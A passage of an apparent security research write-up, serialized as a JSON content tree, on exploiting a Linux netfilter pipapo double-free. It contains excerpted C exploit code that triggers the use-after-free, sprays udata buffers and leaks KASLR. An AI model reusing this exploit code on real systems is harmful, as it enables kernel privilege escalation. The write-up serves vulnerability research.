clone.",{"type":23,"tag":24,"props":53421,"children":53422},{},[53423],{"type":28,"value":53424},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":23,"tag":61,"props":53426,"children":53428},{"id":53427},"kernelctf-exploit",[53429],{"type":28,"value":53430},"KernelCTF exploit",{"type":23,"tag":24,"props":53432,"children":53433},{},[53434,53436,53442,53444,53451],{"type":28,"value":53435},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":23,"tag":94,"props":53437,"children":53439},{"className":53438},[],[53440],{"type":28,"value":53441},"nft_object + udata",{"type":28,"value":53443}," technique shared by lonial con in a ",{"type":23,"tag":31,"props":53445,"children":53448},{"href":53446,"rel":53447},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[35],[53449],{"type":28,"value":53450},"previous kernelCTF exploit",{"type":28,"value":282},{"type":23,"tag":837,"props":53453,"children":53455},{"id":53454},"trigger-uafavoid-double-free-detection",[53456],{"type":28,"value":53457},"Trigger UAF/avoid double-free detection",{"type":23,"tag":24,"props":53459,"children":53460},{},[53461,53463,53469,53471,53477],{"type":28,"value":53462},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":23,"tag":94,"props":53464,"children":53466},{"className":53465},[],[53467],{"type":28,"value":53468},"nft_set_pipapo_match_destroy",{"type":28,"value":53470}," iterates over the ",{"type":23,"tag":94,"props":53472,"children":53474},{"className":53473},[],[53475],{"type":28,"value":53476},"setelems",{"type":28,"value":53478}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":23,"tag":84,"props":53480,"children":53481},{},[53482,53487,53492,53497],{"type":23,"tag":88,"props":53483,"children":53484},{},[53485],{"type":28,"value":53486},"Element A gets freed",{"type":23,"tag":88,"props":53488,"children":53489},{},[53490],{"type":28,"value":53491},"Element B gets free",{"type":23,"tag":88,"props":53493,"children":53494},{},[53495],{"type":28,"value":53496},"Element A gets freed again (double-free)",{"type":23,"tag":88,"props":53498,"children":53499},{},[53500],{"type":28,"value":53501},"Element B gets freed again (double-free)",{"type":23,"tag":304,"props":53503,"children":53505},{"className":28358,"code":53504,"language":28360,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n // TRANSACTION 2\n[...]\n\n // create pipapo set\n uint8_t desc[2] = {16, 16};\n set = create_set(\n batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n // commit 2 elems to set (elems A and B that will be double-freed)\n for (int i = 0; i \u003C 2; i++)\n {\n elem[i] = nftnl_set_elem_alloc();\n memset(key, 0x41 + i, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n nftnl_set_elem_add(set, elem[i]);\n }\n[...]\n\n // TRANSACTION 3\n[...]\n set = nftnl_set_alloc();\n nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n // make priv->dirty true\n memset(key, 0xff, KEY_LEN);\n elem[3] = nftnl_set_elem_alloc();\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_add(set, elem[3]);\n[...]\n\n // double-free commited elems\n[...]\n nftnl_set_free(set);\n}\n[...]\n",[53506],{"type":23,"tag":94,"props":53507,"children":53508},{"__ignoreMap":7},[53509,53516,53577,53584,53591,53599,53606,53613,53621,53645,53666,53700,53761,53768,53776,53828,53835,53861,53888,53927,53956,53985,54007,54014,54021,54028,54036,54043,54051,54064,54077,54097,54104,54112,54134,54166,54211,54247,54275,54282,54289,54297,54304,54320,54327],{"type":23,"tag":314,"props":53510,"children":53511},{"class":316,"line":317},[53512],{"type":23,"tag":314,"props":53513,"children":53514},{"style":338},[53515],{"type":28,"value":9566},{"type":23,"tag":314,"props":53517,"children":53518},{"class":316,"line":370},[53519,53524,53528,53533,53537,53542,53546,53551,53556,53560,53564,53568,53573],{"type":23,"tag":314,"props":53520,"children":53521},{"style":338},[53522],{"type":28,"value":53523},"static void trigger_uaf(",{"type":23,"tag":314,"props":53525,"children":53526},{"style":321},[53527],{"type":28,"value":8651},{"type":23,"tag":314,"props":53529,"children":53530},{"style":2674},[53531],{"type":28,"value":53532}," mnl_socket",{"type":23,"tag":314,"props":53534,"children":53535},{"style":321},[53536],{"type":28,"value":357},{"type":23,"tag":314,"props":53538,"children":53539},{"style":360},[53540],{"type":28,"value":53541},"nl",{"type":23,"tag":314,"props":53543,"children":53544},{"style":338},[53545],{"type":28,"value":778},{"type":23,"tag":314,"props":53547,"children":53548},{"style":321},[53549],{"type":28,"value":53550},"size_t",{"type":23,"tag":314,"props":53552,"children":53553},{"style":360},[53554],{"type":28,"value":53555}," size",{"type":23,"tag":314,"props":53557,"children":53558},{"style":338},[53559],{"type":28,"value":778},{"type":23,"tag":314,"props":53561,"children":53562},{"style":321},[53563],{"type":28,"value":18285},{"type":23,"tag":314,"props":53565,"children":53566},{"style":321},[53567],{"type":28,"value":357},{"type":23,"tag":314,"props":53569,"children":53570},{"style":360},[53571],{"type":28,"value":53572},"msgqids",{"type":23,"tag":314,"props":53574,"children":53575},{"style":338},[53576],{"type":28,"value":2414},{"type":23,"tag":314,"props":53578,"children":53579},{"class":316,"line":380},[53580],{"type":23,"tag":314,"props":53581,"children":53582},{"style":338},[53583],{"type":28,"value":10129},{"type":23,"tag":314,"props":53585,"children":53586},{"class":316,"line":1091},[53587],{"type":23,"tag":314,"props":53588,"children":53589},{"style":338},[53590],{"type":28,"value":9566},{"type":23,"tag":314,"props":53592,"children":53593},{"class":316,"line":1141},[53594],{"type":23,"tag":314,"props":53595,"children":53596},{"style":338},[53597],{"type":28,"value":53598}," // TRANSACTION 2\n",{"type":23,"tag":314,"props":53600,"children":53601},{"class":316,"line":1173},[53602],{"type":23,"tag":314,"props":53603,"children":53604},{"style":338},[53605],{"type":28,"value":9566},{"type":23,"tag":314,"props":53607,"children":53608},{"class":316,"line":1208},[53609],{"type":23,"tag":314,"props":53610,"children":53611},{"emptyLinePlaceholder":18},[53612],{"type":28,"value":1088},{"type":23,"tag":314,"props":53614,"children":53615},{"class":316,"line":1216},[53616],{"type":23,"tag":314,"props":53617,"children":53618},{"style":338},[53619],{"type":28,"value":53620}," // create pipapo set\n",{"type":23,"tag":314,"props":53622,"children":53623},{"class":316,"line":1301},[53624,53629,53633,53637,53641],{"type":23,"tag":314,"props":53625,"children":53626},{"style":338},[53627],{"type":28,"value":53628}," uint8_t desc[2] = {",{"type":23,"tag":314,"props":53630,"children":53631},{"style":1054},[53632],{"type":28,"value":40095},{"type":23,"tag":314,"props":53634,"children":53635},{"style":338},[53636],{"type":28,"value":778},{"type":23,"tag":314,"props":53638,"children":53639},{"style":1054},[53640],{"type":28,"value":40095},{"type":23,"tag":314,"props":53642,"children":53643},{"style":338},[53644],{"type":28,"value":1545},{"type":23,"tag":314,"props":53646,"children":53647},{"class":316,"line":1343},[53648,53653,53657,53662],{"type":23,"tag":314,"props":53649,"children":53650},{"style":338},[53651],{"type":28,"value":53652}," set ",{"type":23,"tag":314,"props":53654,"children":53655},{"style":354},[53656],{"type":28,"value":1102},{"type":23,"tag":314,"props":53658,"children":53659},{"style":332},[53660],{"type":28,"value":53661}," create_set",{"type":23,"tag":314,"props":53663,"children":53664},{"style":338},[53665],{"type":28,"value":2719},{"type":23,"tag":314,"props":53667,"children":53668},{"class":316,"line":1351},[53669,53674,53678,53683,53688,53692,53696],{"type":23,"tag":314,"props":53670,"children":53671},{"style":338},[53672],{"type":28,"value":53673}," batch, seq",{"type":23,"tag":314,"props":53675,"children":53676},{"style":354},[53677],{"type":28,"value":50520},{"type":23,"tag":314,"props":53679,"children":53680},{"style":338},[53681],{"type":28,"value":53682},", exploit_table_name, ",{"type":23,"tag":314,"props":53684,"children":53685},{"style":1245},[53686],{"type":28,"value":53687},"\"pwn_set\"",{"type":23,"tag":314,"props":53689,"children":53690},{"style":338},[53691],{"type":28,"value":778},{"type":23,"tag":314,"props":53693,"children":53694},{"style":1054},[53695],{"type":28,"value":42752},{"type":23,"tag":314,"props":53697,"children":53698},{"style":338},[53699],{"type":28,"value":1870},{"type":23,"tag":314,"props":53701,"children":53702},{"class":316,"line":1387},[53703,53708,53712,53717,53721,53726,53730,53734,53738,53743,53748,53752,53756],{"type":23,"tag":314,"props":53704,"children":53705},{"style":338},[53706],{"type":28,"value":53707}," NFT_SET_INTERVAL ",{"type":23,"tag":314,"props":53709,"children":53710},{"style":354},[53711],{"type":28,"value":9664},{"type":23,"tag":314,"props":53713,"children":53714},{"style":338},[53715],{"type":28,"value":53716}," NFT_SET_OBJECT ",{"type":23,"tag":314,"props":53718,"children":53719},{"style":354},[53720],{"type":28,"value":9664},{"type":23,"tag":314,"props":53722,"children":53723},{"style":338},[53724],{"type":28,"value":53725}," NFT_SET_CONCAT, KEY_LEN, ",{"type":23,"tag":314,"props":53727,"children":53728},{"style":1054},[53729],{"type":28,"value":2378},{"type":23,"tag":314,"props":53731,"children":53732},{"style":338},[53733],{"type":28,"value":778},{"type":23,"tag":314,"props":53735,"children":53736},{"style":354},[53737],{"type":28,"value":1833},{"type":23,"tag":314,"props":53739,"children":53740},{"style":338},[53741],{"type":28,"value":53742},"desc, ",{"type":23,"tag":314,"props":53744,"children":53745},{"style":321},[53746],{"type":28,"value":53747},"NULL",{"type":23,"tag":314,"props":53749,"children":53750},{"style":338},[53751],{"type":28,"value":778},{"type":23,"tag":314,"props":53753,"children":53754},{"style":1054},[53755],{"type":28,"value":1600},{"type":23,"tag":314,"props":53757,"children":53758},{"style":338},[53759],{"type":28,"value":53760},", NFT_OBJECT_CT_EXPECT);\n",{"type":23,"tag":314,"props":53762,"children":53763},{"class":316,"line":1422},[53764],{"type":23,"tag":314,"props":53765,"children":53766},{"emptyLinePlaceholder":18},[53767],{"type":28,"value":1088},{"type":23,"tag":314,"props":53769,"children":53770},{"class":316,"line":1430},[53771],{"type":23,"tag":314,"props":53772,"children":53773},{"style":374},[53774],{"type":28,"value":53775}," // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":23,"tag":314,"props":53777,"children":53778},{"class":316,"line":1452},[53779,53783,53787,53791,53796,53800,53804,53808,53812,53816,53820,53824],{"type":23,"tag":314,"props":53780,"children":53781},{"style":2284},[53782],{"type":28,"value":2287},{"type":23,"tag":314,"props":53784,"children":53785},{"style":338},[53786],{"type":28,"value":2324},{"type":23,"tag":314,"props":53788,"children":53789},{"style":321},[53790],{"type":28,"value":18285},{"type":23,"tag":314,"props":53792,"children":53793},{"style":338},[53794],{"type":28,"value":53795}," i ",{"type":23,"tag":314,"props":53797,"children":53798},{"style":354},[53799],{"type":28,"value":1102},{"type":23,"tag":314,"props":53801,"children":53802},{"style":1054},[53803],{"type":28,"value":1201},{"type":23,"tag":314,"props":53805,"children":53806},{"style":338},[53807],{"type":28,"value":50484},{"type":23,"tag":314,"props":53809,"children":53810},{"style":354},[53811],{"type":28,"value":5060},{"type":23,"tag":314,"props":53813,"children":53814},{"style":1054},[53815],{"type":28,"value":7189},{"type":23,"tag":314,"props":53817,"children":53818},{"style":338},[53819],{"type":28,"value":50515},{"type":23,"tag":314,"props":53821,"children":53822},{"style":354},[53823],{"type":28,"value":50520},{"type":23,"tag":314,"props":53825,"children":53826},{"style":338},[53827],{"type":28,"value":2414},{"type":23,"tag":314,"props":53829,"children":53830},{"class":316,"line":1497},[53831],{"type":23,"tag":314,"props":53832,"children":53833},{"style":338},[53834],{"type":28,"value":28435},{"type":23,"tag":314,"props":53836,"children":53837},{"class":316,"line":1539},[53838,53843,53848,53852,53857],{"type":23,"tag":314,"props":53839,"children":53840},{"style":360},[53841],{"type":28,"value":53842}," elem",{"type":23,"tag":314,"props":53844,"children":53845},{"style":338},[53846],{"type":28,"value":53847},"[i] ",{"type":23,"tag":314,"props":53849,"children":53850},{"style":354},[53851],{"type":28,"value":1102},{"type":23,"tag":314,"props":53853,"children":53854},{"style":332},[53855],{"type":28,"value":53856}," nftnl_set_elem_alloc",{"type":23,"tag":314,"props":53858,"children":53859},{"style":338},[53860],{"type":28,"value":2926},{"type":23,"tag":314,"props":53862,"children":53863},{"class":316,"line":1548},[53864,53869,53874,53879,53883],{"type":23,"tag":314,"props":53865,"children":53866},{"style":332},[53867],{"type":28,"value":53868}," memset",{"type":23,"tag":314,"props":53870,"children":53871},{"style":338},[53872],{"type":28,"value":53873},"(key, ",{"type":23,"tag":314,"props":53875,"children":53876},{"style":1054},[53877],{"type":28,"value":53878},"0x41",{"type":23,"tag":314,"props":53880,"children":53881},{"style":354},[53882],{"type":28,"value":1572},{"type":23,"tag":314,"props":53884,"children":53885},{"style":338},[53886],{"type":28,"value":53887}," i, KEY_LEN);\n",{"type":23,"tag":314,"props":53889,"children":53890},{"class":316,"line":1584},[53891,53896,53900,53904,53909,53914,53918,53923],{"type":23,"tag":314,"props":53892,"children":53893},{"style":332},[53894],{"type":28,"value":53895}," nftnl_set_elem_set",{"type":23,"tag":314,"props":53897,"children":53898},{"style":338},[53899],{"type":28,"value":341},{"type":23,"tag":314,"props":53901,"children":53902},{"style":360},[53903],{"type":28,"value":51315},{"type":23,"tag":314,"props":53905,"children":53906},{"style":338},[53907],{"type":28,"value":53908},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":314,"props":53910,"children":53911},{"style":1245},[53912],{"type":28,"value":53913},"\"pwnobj\"",{"type":23,"tag":314,"props":53915,"children":53916},{"style":338},[53917],{"type":28,"value":778},{"type":23,"tag":314,"props":53919,"children":53920},{"style":1054},[53921],{"type":28,"value":53922},"7",{"type":23,"tag":314,"props":53924,"children":53925},{"style":338},[53926],{"type":28,"value":1025},{"type":23,"tag":314,"props":53928,"children":53929},{"class":316,"line":1617},[53930,53934,53938,53942,53947,53951],{"type":23,"tag":314,"props":53931,"children":53932},{"style":332},[53933],{"type":28,"value":53895},{"type":23,"tag":314,"props":53935,"children":53936},{"style":338},[53937],{"type":28,"value":341},{"type":23,"tag":314,"props":53939,"children":53940},{"style":360},[53941],{"type":28,"value":51315},{"type":23,"tag":314,"props":53943,"children":53944},{"style":338},[53945],{"type":28,"value":53946},"[i], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":314,"props":53948,"children":53949},{"style":354},[53950],{"type":28,"value":1833},{"type":23,"tag":314,"props":53952,"children":53953},{"style":338},[53954],{"type":28,"value":53955},"key, KEY_LEN);\n",{"type":23,"tag":314,"props":53957,"children":53958},{"class":316,"line":1625},[53959,53963,53967,53971,53976,53980],{"type":23,"tag":314,"props":53960,"children":53961},{"style":332},[53962],{"type":28,"value":53895},{"type":23,"tag":314,"props":53964,"children":53965},{"style":338},[53966],{"type":28,"value":341},{"type":23,"tag":314,"props":53968,"children":53969},{"style":360},[53970],{"type":28,"value":51315},{"type":23,"tag":314,"props":53972,"children":53973},{"style":338},[53974],{"type":28,"value":53975},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":23,"tag":314,"props":53977,"children":53978},{"style":354},[53979],{"type":28,"value":1833},{"type":23,"tag":314,"props":53981,"children":53982},{"style":338},[53983],{"type":28,"value":53984},"udata_buf, size);\n",{"type":23,"tag":314,"props":53986,"children":53987},{"class":316,"line":1660},[53988,53993,53998,54002],{"type":23,"tag":314,"props":53989,"children":53990},{"style":332},[53991],{"type":28,"value":53992}," nftnl_set_elem_add",{"type":23,"tag":314,"props":53994,"children":53995},{"style":338},[53996],{"type":28,"value":53997},"(set, ",{"type":23,"tag":314,"props":53999,"children":54000},{"style":360},[54001],{"type":28,"value":51315},{"type":23,"tag":314,"props":54003,"children":54004},{"style":338},[54005],{"type":28,"value":54006},"[i]);\n",{"type":23,"tag":314,"props":54008,"children":54009},{"class":316,"line":1708},[54010],{"type":23,"tag":314,"props":54011,"children":54012},{"style":338},[54013],{"type":28,"value":2610},{"type":23,"tag":314,"props":54015,"children":54016},{"class":316,"line":1743},[54017],{"type":23,"tag":314,"props":54018,"children":54019},{"style":338},[54020],{"type":28,"value":9566},{"type":23,"tag":314,"props":54022,"children":54023},{"class":316,"line":1751},[54024],{"type":23,"tag":314,"props":54025,"children":54026},{"emptyLinePlaceholder":18},[54027],{"type":28,"value":1088},{"type":23,"tag":314,"props":54029,"children":54030},{"class":316,"line":1791},[54031],{"type":23,"tag":314,"props":54032,"children":54033},{"style":338},[54034],{"type":28,"value":54035}," // TRANSACTION 3\n",{"type":23,"tag":314,"props":54037,"children":54038},{"class":316,"line":1805},[54039],{"type":23,"tag":314,"props":54040,"children":54041},{"style":338},[54042],{"type":28,"value":9566},{"type":23,"tag":314,"props":54044,"children":54045},{"class":316,"line":1818},[54046],{"type":23,"tag":314,"props":54047,"children":54048},{"style":338},[54049],{"type":28,"value":54050}," set = nftnl_set_alloc();\n",{"type":23,"tag":314,"props":54052,"children":54053},{"class":316,"line":1873},[54054,54059],{"type":23,"tag":314,"props":54055,"children":54056},{"style":332},[54057],{"type":28,"value":54058}," nftnl_set_set_u32",{"type":23,"tag":314,"props":54060,"children":54061},{"style":338},[54062],{"type":28,"value":54063},"(set, NFTNL_SET_FAMILY, family);\n",{"type":23,"tag":314,"props":54065,"children":54066},{"class":316,"line":1891},[54067,54072],{"type":23,"tag":314,"props":54068,"children":54069},{"style":332},[54070],{"type":28,"value":54071}," nftnl_set_set_str",{"type":23,"tag":314,"props":54073,"children":54074},{"style":338},[54075],{"type":28,"value":54076},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":23,"tag":314,"props":54078,"children":54079},{"class":316,"line":1899},[54080,54084,54089,54093],{"type":23,"tag":314,"props":54081,"children":54082},{"style":332},[54083],{"type":28,"value":54071},{"type":23,"tag":314,"props":54085,"children":54086},{"style":338},[54087],{"type":28,"value":54088},"(set, NFTNL_SET_NAME, ",{"type":23,"tag":314,"props":54090,"children":54091},{"style":1245},[54092],{"type":28,"value":53687},{"type":23,"tag":314,"props":54094,"children":54095},{"style":338},[54096],{"type":28,"value":1025},{"type":23,"tag":314,"props":54098,"children":54099},{"class":316,"line":1944},[54100],{"type":23,"tag":314,"props":54101,"children":54102},{"emptyLinePlaceholder":18},[54103],{"type":28,"value":1088},{"type":23,"tag":314,"props":54105,"children":54106},{"class":316,"line":2008},[54107],{"type":23,"tag":314,"props":54108,"children":54109},{"style":374},[54110],{"type":28,"value":54111}," // make priv->dirty true\n",{"type":23,"tag":314,"props":54113,"children":54114},{"class":316,"line":2043},[54115,54120,54124,54129],{"type":23,"tag":314,"props":54116,"children":54117},{"style":332},[54118],{"type":28,"value":54119}," memset",{"type":23,"tag":314,"props":54121,"children":54122},{"style":338},[54123],{"type":28,"value":53873},{"type":23,"tag":314,"props":54125,"children":54126},{"style":1054},[54127],{"type":28,"value":54128},"0xff",{"type":23,"tag":314,"props":54130,"children":54131},{"style":338},[54132],{"type":28,"value":54133},", KEY_LEN);\n",{"type":23,"tag":314,"props":54135,"children":54136},{"class":316,"line":22803},[54137,54142,54146,54150,54154,54158,54162],{"type":23,"tag":314,"props":54138,"children":54139},{"style":360},[54140],{"type":28,"value":54141}," elem",{"type":23,"tag":314,"props":54143,"children":54144},{"style":338},[54145],{"type":28,"value":1312},{"type":23,"tag":314,"props":54147,"children":54148},{"style":1054},[54149],{"type":28,"value":16535},{"type":23,"tag":314,"props":54151,"children":54152},{"style":338},[54153],{"type":28,"value":1322},{"type":23,"tag":314,"props":54155,"children":54156},{"style":354},[54157],{"type":28,"value":1102},{"type":23,"tag":314,"props":54159,"children":54160},{"style":332},[54161],{"type":28,"value":53856},{"type":23,"tag":314,"props":54163,"children":54164},{"style":338},[54165],{"type":28,"value":2926},{"type":23,"tag":314,"props":54167,"children":54168},{"class":316,"line":22845},[54169,54174,54178,54182,54186,54190,54195,54199,54203,54207],{"type":23,"tag":314,"props":54170,"children":54171},{"style":332},[54172],{"type":28,"value":54173}," nftnl_set_elem_set",{"type":23,"tag":314,"props":54175,"children":54176},{"style":338},[54177],{"type":28,"value":341},{"type":23,"tag":314,"props":54179,"children":54180},{"style":360},[54181],{"type":28,"value":51315},{"type":23,"tag":314,"props":54183,"children":54184},{"style":338},[54185],{"type":28,"value":1312},{"type":23,"tag":314,"props":54187,"children":54188},{"style":1054},[54189],{"type":28,"value":16535},{"type":23,"tag":314,"props":54191,"children":54192},{"style":338},[54193],{"type":28,"value":54194},"], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":314,"props":54196,"children":54197},{"style":1245},[54198],{"type":28,"value":53913},{"type":23,"tag":314,"props":54200,"children":54201},{"style":338},[54202],{"type":28,"value":778},{"type":23,"tag":314,"props":54204,"children":54205},{"style":1054},[54206],{"type":28,"value":53922},{"type":23,"tag":314,"props":54208,"children":54209},{"style":338},[54210],{"type":28,"value":1025},{"type":23,"tag":314,"props":54212,"children":54213},{"class":316,"line":22878},[54214,54218,54222,54226,54230,54234,54239,54243],{"type":23,"tag":314,"props":54215,"children":54216},{"style":332},[54217],{"type":28,"value":54173},{"type":23,"tag":314,"props":54219,"children":54220},{"style":338},[54221],{"type":28,"value":341},{"type":23,"tag":314,"props":54223,"children":54224},{"style":360},[54225],{"type":28,"value":51315},{"type":23,"tag":314,"props":54227,"children":54228},{"style":338},[54229],{"type":28,"value":1312},{"type":23,"tag":314,"props":54231,"children":54232},{"style":1054},[54233],{"type":28,"value":16535},{"type":23,"tag":314,"props":54235,"children":54236},{"style":338},[54237],{"type":28,"value":54238},"], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":314,"props":54240,"children":54241},{"style":354},[54242],{"type":28,"value":1833},{"type":23,"tag":314,"props":54244,"children":54245},{"style":338},[54246],{"type":28,"value":53955},{"type":23,"tag":314,"props":54248,"children":54249},{"class":316,"line":22886},[54250,54255,54259,54263,54267,54271],{"type":23,"tag":314,"props":54251,"children":54252},{"style":332},[54253],{"type":28,"value":54254}," nftnl_set_elem_add",{"type":23,"tag":314,"props":54256,"children":54257},{"style":338},[54258],{"type":28,"value":53997},{"type":23,"tag":314,"props":54260,"children":54261},{"style":360},[54262],{"type":28,"value":51315},{"type":23,"tag":314,"props":54264,"children":54265},{"style":338},[54266],{"type":28,"value":1312},{"type":23,"tag":314,"props":54268,"children":54269},{"style":1054},[54270],{"type":28,"value":16535},{"type":23,"tag":314,"props":54272,"children":54273},{"style":338},[54274],{"type":28,"value":3007},{"type":23,"tag":314,"props":54276,"children":54277},{"class":316,"line":22894},[54278],{"type":23,"tag":314,"props":54279,"children":54280},{"style":338},[54281],{"type":28,"value":9566},{"type":23,"tag":314,"props":54283,"children":54284},{"class":316,"line":22903},[54285],{"type":23,"tag":314,"props":54286,"children":54287},{"emptyLinePlaceholder":18},[54288],{"type":28,"value":1088},{"type":23,"tag":314,"props":54290,"children":54291},{"class":316,"line":22979},[54292],{"type":23,"tag":314,"props":54293,"children":54294},{"style":338},[54295],{"type":28,"value":54296}," // double-free commited elems\n",{"type":23,"tag":314,"props":54298,"children":54299},{"class":316,"line":23012},[54300],{"type":23,"tag":314,"props":54301,"children":54302},{"style":338},[54303],{"type":28,"value":9566},{"type":23,"tag":314,"props":54305,"children":54306},{"class":316,"line":23020},[54307,54312,54316],{"type":23,"tag":314,"props":54308,"children":54309},{"style":338},[54310],{"type":28,"value":54311}," nftnl_set_free(",{"type":23,"tag":314,"props":54313,"children":54314},{"style":2674},[54315],{"type":28,"value":50270},{"type":23,"tag":314,"props":54317,"children":54318},{"style":338},[54319],{"type":28,"value":1025},{"type":23,"tag":314,"props":54321,"children":54322},{"class":316,"line":23028},[54323],{"type":23,"tag":314,"props":54324,"children":54325},{"style":338},[54326],{"type":28,"value":386},{"type":23,"tag":314,"props":54328,"children":54329},{"class":316,"line":23065},[54330],{"type":23,"tag":314,"props":54331,"children":54332},{"style":338},[54333],{"type":28,"value":9566},{"type":23,"tag":837,"props":54335,"children":54337},{"id":54336},"leaking-kaslr",[54338],{"type":28,"value":54339},"Leaking KASLR",{"type":23,"tag":24,"props":54341,"children":54342},{},[54343,54345,54351,54353,54358,54360,54366,54368,54374,54376],{"type":28,"value":54344},"Tables contain an outline user data buffer ",{"type":23,"tag":94,"props":54346,"children":54348},{"className":54347},[],[54349],{"type":28,"value":54350},"udata",{"type":28,"value":54352}," that we can both read and write. By allocating a ",{"type":23,"tag":94,"props":54354,"children":54356},{"className":54355},[],[54357],{"type":28,"value":54350},{"type":28,"value":54359}," buffer on the double-free slot and then overlapping it with an ",{"type":23,"tag":94,"props":54361,"children":54363},{"className":54362},[],[54364],{"type":28,"value":54365},"nft_object",{"type":28,"value":54367}," we can leak the ",{"type":23,"tag":94,"props":54369,"children":54371},{"className":54370},[],[54372],{"type":28,"value":54373},"->ops",{"type":28,"value":54375}," pointer, and use it to calculate the KASLR slide.\n",{"type":23,"tag":197,"props":54377,"children":54379},{"alt":49829,"src":54378},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":23,"tag":304,"props":54381,"children":54383},{"className":28358,"code":54382,"language":28360,"meta":7,"style":7},"[...]\n // spray 3 udata buffers to consume elems A, B and A again\n udata_spray(nl, 0xe8, 0, 3, NULL);\n\n // check if overlap happened (i.e if we have to overlapping udata buffers)\n char spray_name[16];\n char *udata[3];\n for (int i = 0; i \u003C 3; i++)\n {\n snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n udata[i] = getudata(nl, spray_name);\n }\n if (udata[0][0] == udata[2][0])\n {\n puts(\"[+] got duplicated table\");\n }\n\n // Replace one of the udata buffers with nft_object\n // and read it's counterpart to leak the nft_object struct\n puts(\"[*] Info leak\");\n deludata_spray(nl, 0, 1);\n wait_destroyer();\n obj_spray(nl, 0, 1, NULL, 0);\n uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[54384],{"type":23,"tag":94,"props":54385,"children":54386},{"__ignoreMap":7},[54387,54394,54402,54437,54444,54452,54477,54504,54555,54562,54594,54620,54627,54692,54699,54720,54727,54734,54742,54750,54771,54800,54812,54856,54912],{"type":23,"tag":314,"props":54388,"children":54389},{"class":316,"line":317},[54390],{"type":23,"tag":314,"props":54391,"children":54392},{"style":338},[54393],{"type":28,"value":9566},{"type":23,"tag":314,"props":54395,"children":54396},{"class":316,"line":370},[54397],{"type":23,"tag":314,"props":54398,"children":54399},{"style":338},[54400],{"type":28,"value":54401}," // spray 3 udata buffers to consume elems A, B and A again\n",{"type":23,"tag":314,"props":54403,"children":54404},{"class":316,"line":380},[54405,54410,54414,54419,54424,54429,54433],{"type":23,"tag":314,"props":54406,"children":54407},{"style":338},[54408],{"type":28,"value":54409}," udata_spray(",{"type":23,"tag":314,"props":54411,"children":54412},{"style":2674},[54413],{"type":28,"value":53541},{"type":23,"tag":314,"props":54415,"children":54416},{"style":338},[54417],{"type":28,"value":54418},", 0",{"type":23,"tag":314,"props":54420,"children":54421},{"style":2674},[54422],{"type":28,"value":54423},"xe8",{"type":23,"tag":314,"props":54425,"children":54426},{"style":338},[54427],{"type":28,"value":54428},", 0, 3, ",{"type":23,"tag":314,"props":54430,"children":54431},{"style":2674},[54432],{"type":28,"value":53747},{"type":23,"tag":314,"props":54434,"children":54435},{"style":338},[54436],{"type":28,"value":1025},{"type":23,"tag":314,"props":54438,"children":54439},{"class":316,"line":1091},[54440],{"type":23,"tag":314,"props":54441,"children":54442},{"emptyLinePlaceholder":18},[54443],{"type":28,"value":1088},{"type":23,"tag":314,"props":54445,"children":54446},{"class":316,"line":1141},[54447],{"type":23,"tag":314,"props":54448,"children":54449},{"style":374},[54450],{"type":28,"value":54451}," // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":23,"tag":314,"props":54453,"children":54454},{"class":316,"line":1173},[54455,54460,54465,54469,54473],{"type":23,"tag":314,"props":54456,"children":54457},{"style":321},[54458],{"type":28,"value":54459}," char",{"type":23,"tag":314,"props":54461,"children":54462},{"style":360},[54463],{"type":28,"value":54464}," spray_name",{"type":23,"tag":314,"props":54466,"children":54467},{"style":338},[54468],{"type":28,"value":1312},{"type":23,"tag":314,"props":54470,"children":54471},{"style":1054},[54472],{"type":28,"value":40095},{"type":23,"tag":314,"props":54474,"children":54475},{"style":338},[54476],{"type":28,"value":2005},{"type":23,"tag":314,"props":54478,"children":54479},{"class":316,"line":1208},[54480,54484,54488,54492,54496,54500],{"type":23,"tag":314,"props":54481,"children":54482},{"style":321},[54483],{"type":28,"value":54459},{"type":23,"tag":314,"props":54485,"children":54486},{"style":354},[54487],{"type":28,"value":357},{"type":23,"tag":314,"props":54489,"children":54490},{"style":360},[54491],{"type":28,"value":54350},{"type":23,"tag":314,"props":54493,"children":54494},{"style":338},[54495],{"type":28,"value":1312},{"type":23,"tag":314,"props":54497,"children":54498},{"style":1054},[54499],{"type":28,"value":16535},{"type":23,"tag":314,"props":54501,"children":54502},{"style":338},[54503],{"type":28,"value":2005},{"type":23,"tag":314,"props":54505,"children":54506},{"class":316,"